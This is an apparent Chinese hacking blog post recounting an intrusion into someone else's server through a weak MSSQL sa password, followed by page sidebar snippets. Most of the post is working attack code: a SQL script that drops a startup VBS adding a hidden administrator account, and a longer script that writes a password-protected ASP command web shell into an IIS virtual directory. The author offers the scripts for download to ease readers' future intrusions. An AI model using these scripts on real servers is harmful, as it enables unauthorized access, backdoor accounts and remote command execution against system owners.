  除了这几个漏洞,x-scan2.3再没有扫出别的了,好在有sql弱口令。用sql连接器连上看看吧,可大失所望。dir命令不能执行,好像是服务器去掉了SA的xp_cmdshell权限。

我再用sql的查循分析器来连接SQL服务器恢复cmd_shell权限试试。在sql的查循分析器里写入 sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll',但是显示错误。

看样子是xplog70.dll被改名了。抱着试试看看的态度,再用sql连接器连上,执行dir命令,依然依显示图1的情况。

  这种情况下怎么办呢?既然有了sql弱口令,而且sql的查循分析器也可以连接上,当然也可以用它来写一些文本程序在服务器上。再打开查循分析器,在弹出的文本框里写入以下sql脚本命令:

declare @o int, @f int, @t int, @ret int ,@a int
exec sp_oacreate 'scripting.filesystemobject', @o out
---给菜鸟加个简单注释,这两行代码是建立sql的文本对象
exec sp_oamethod @o, 'createtextfile', @f out,
'c:/docume~1/alluse~1/「开始」菜单/程序/启动/a.vbs', 1
--在启动菜单里写入a.vbs,当然这里只支持中文
exec @ret = sp_oamethod @f, 'writeline', NULL,
'set wshshell=createobject("wscript.shell")'
--单引号里的都是a.vbs的内容,要一行一行的写,下同。
exec @ret = sp_oamethod @f, 'writeline', NULL,
'a=wshshell.run ("cmd.exe /c net user lcx 123 /add",0)'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'b=wshshell.run ("cmd.exe /c net localgroup administrators lcx /add",0)'
--a.vbs内容结束
执行查循后,这样就会在服务器的启动程序里写入一个a.vbs脚本。




只要服务器重启,就可以加入一个用户名是lcx,密码是123的管理员用户了。做完这一切后我就开始等待服务器重启了,可是等到花儿也谢了,这个用户也没加成功,我用lcx的用户名和密码123一直也登陆不了3389端口。不知是服务器没重启,还是服务器不是中文系统(因为这个sql脚本只支持中文),还是被管理员发现了,总之就是没加成功。在这之后,我就陷入了深思。于是回头看x-scan的漏洞扫描报告,上安全焦点查了一些扫到的漏洞资料,还是一无所获,扫到的漏洞都没有太大的利用价值。思考中,突然灵光一闪,_vti_bin是一个虚拟目录,在IIS上默认的物理路径是C:/Program Files/Common Files/Microsoft Shared/Web Server Extensions/isapi/,我可以在这里用sql的查循分析器写入一个asp程序呀。先看看思路对不对,执行http://ip/_vti_bin/,返回403错误码。


证明服务器这个虚拟目录是存在的。好了,我开始写sql脚本,一行一行写得好累呀,做个黑客也不容易呀(本想写入海阳顶端网木马xp.net版。可代码太多了):

declare @o int, @f int, @t int, @ret int ,@a int
exec sp_oacreate 'scripting.filesystemobject', @o out
--给菜鸟加个简单注释:还是建立sql程序的文本对像
exec sp_oamethod @o, 'createtextfile', @f out,
'C:/Program Files/Common Files/Microsoft Shared/Web Server Extensions/40/isapi/lcx.asp', 1
--在这个目录写入一个lcx.asp文件,没有就生成,你可以根据需要改成别的目录。
exec @ret = sp_oamethod @f, 'writeline', NULL,
'<% if Request("password")=1234 then'
--单引号里都是lcx.asp代码内容,要一行一行的写呀,我写的是一个改装的cmd.asp,下同。
[Page]

exec @ret = sp_oamethod @f, 'writeline', NULL,
'session("password")="lcx"'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'response.redirect Request.ServerVariables("URL")'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'elseif session("password")="" then %>'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'<FORM name="user" method="POST"> <INPUT TYPE=password NAME=password> <INPUT TYPE=Submit VALUE="确认提交"> </form>'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'<%else%>'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'<HTML>'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'<input type=text name=".CMD" size=45 value="<%= szCMD %>">'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'<input type=submit value="执行" class=input>'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'</FORM> <pre>'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'<% Dim oScript,oScriptNet,oFileSys, oFile,szCMD, szTempFile'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'On Error Resume Next'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'Set oScript = Server.CreateObject("WSCRIPT.SHELL")'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'szCMD = Request.Form(".CMD")'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'If (szCMD <> "") Then '
exec @ret = sp_oamethod @f, 'writeline', NULL,
'szTempFile = "C:/" & oFileSys.GetTempName( ) '
exec @ret = sp_oamethod @f, 'writeline', NULL,
'Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) '
exec @ret = sp_oamethod @f, 'writeline', NULL,
' End If '
exec @ret = sp_oamethod @f, 'writeline', NULL,
'If (IsObject(oFile)) Then'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'On Error Resume Next'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'Response.Write Server.HTMLEncode(oFile.ReadAll) '
exec @ret = sp_oamethod @f, 'writeline', NULL,
' oFile.Close '
exec @ret = sp_oamethod @f, 'writeline', NULL,
' Call oFileSys.DeleteFile(szTempFile, True)'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'End If %> '
exec @ret = sp_oamethod @f, 'writeline', NULL,
'</BODY> </HTML> '
exec @ret = sp_oamethod @f, 'writeline', NULL,
'<%end if %> '
--好累,代码终于写完了

然后我将这段脚本放在查循分析器里执行,运气不错,服务器的iis是默认安装的,显示命令成功完成。

迫不及待的来看看运行结果吧,

哈,成功了。忘记告诉你,刚才运行的这段sql脚本,会在C:/Program Files/Common Files/Microsoft Shared/Web Server Extensions/isapi/这个物理目录下,也就是虚拟目录_vti_bin目录下生成lcx.asp这个asp文件,是一个改装的cmd.asp了,密码是1234。输入密码1234后,再来看看,得到一个cmd的网页shell了。


虽然权限不是很大,但是查看服务器敏感信息,黑掉服务器的网页是绰绰有余的。我就用这个lcx.asp在服务器的C:/Program Files/Microsoft SQL Server/MSSQL/Binn这个目录里发现了一个可疑的xplog701.dll文件,和原来的文件大小比较,果然是一个改名的xplog70.dll。也许有的人要说,你可以再将名字改回来呀。我也试过,虽然改过名,也需要重启mssql服务,这个xplog70.dll才可以加载。看样子我的运气到了尽头,在这台机器上再没有得到太多渗透入侵结果了。


  后来我在本机做过测试,我是w2k+sp3+iis5.0+fat32系统,在默认安装情况下,一些默认的虚拟目录用sql 查循分析器大都是可写的,而且这些默认的虚拟目录对应的物理目录都是固定的。除了上文讲到的_vti_bin外,还有像http://ip/printers对应的是C:/WINNT/web/printers,http://ip/对应的是c:/inetpub/wwwroot等等。所以平常说的暴露物理路径的危害由此实例可以管中窥豹了。


  最后,我将本文中两个sql脚本和我改装过的lcx.asp为了大家今后入侵的方便,放在这里供大家下载(同url下的vbs.sql/asp.sql/lcx.asp压缩包里有),如果你今后也遇到同样情况,省去你手工输入的麻烦了,但我可不鼓励你入侵呀。:-)

关于master..xp_cmdshell’的几个错误解决办法

错误一:Error Message:未能找到存储过程 ‘master..xp_cmdshell’。 第一步先删除: drop procedure sp_addextendedproc dro...

利用PowerShell把多个文件压缩打包

最近帮公司运维的同事写了个把多个文件打包成zip的PowerShell脚本,无需第三方程序(如WinRAR)或类库,来跟大家分享下。 其实.Net本身就自带了Zip压缩的类库,只是由于不怎么常用,默...
  • b6_g9
  • b6_g9
  • 2016年03月25日 21:21
  • 2071

powershell中压缩与解压缩zip文件的问题

powershell压缩与解压缩zip文件powershell一些小使用技巧能在开发过程中带来便捷。powerShell v5 以前这里先介绍powershell v5之前的做法:1.解压缩zipfu...

SQL恢复XP_CMDSHLL

  • 2013年04月01日 17:14
  • 32KB
  • 下载

sql server Windows账户被删并且sa账户被禁用解决办法

步骤: 1.      http://technet.microsoft.com/en-us/sysinternals/bb896649去这个网址下载这个文件。...

被删文件恢复工具破解版

  • 2012年11月02日 16:30
  • 367KB
  • 下载

sql server 2005下开启xp_cmdshell的办法

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIG...
  • lzwxyz
  • lzwxyz
  • 2011年01月16日 23:36
  • 2373

从网上下载的磁盘被删恢复软件

  • 2013年10月14日 15:13
  • 17.82MB
  • 下载

恢复被删文件(多国语言版)

  • 2009年09月12日 01:38
  • 615KB
  • 下载
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:SQL恢复XP_CMDSHLL 以及XPLOG70.DLL被删 直接用SQL连接器开启3389
举报原因:
原因补充:

(最多只允许输入30个字)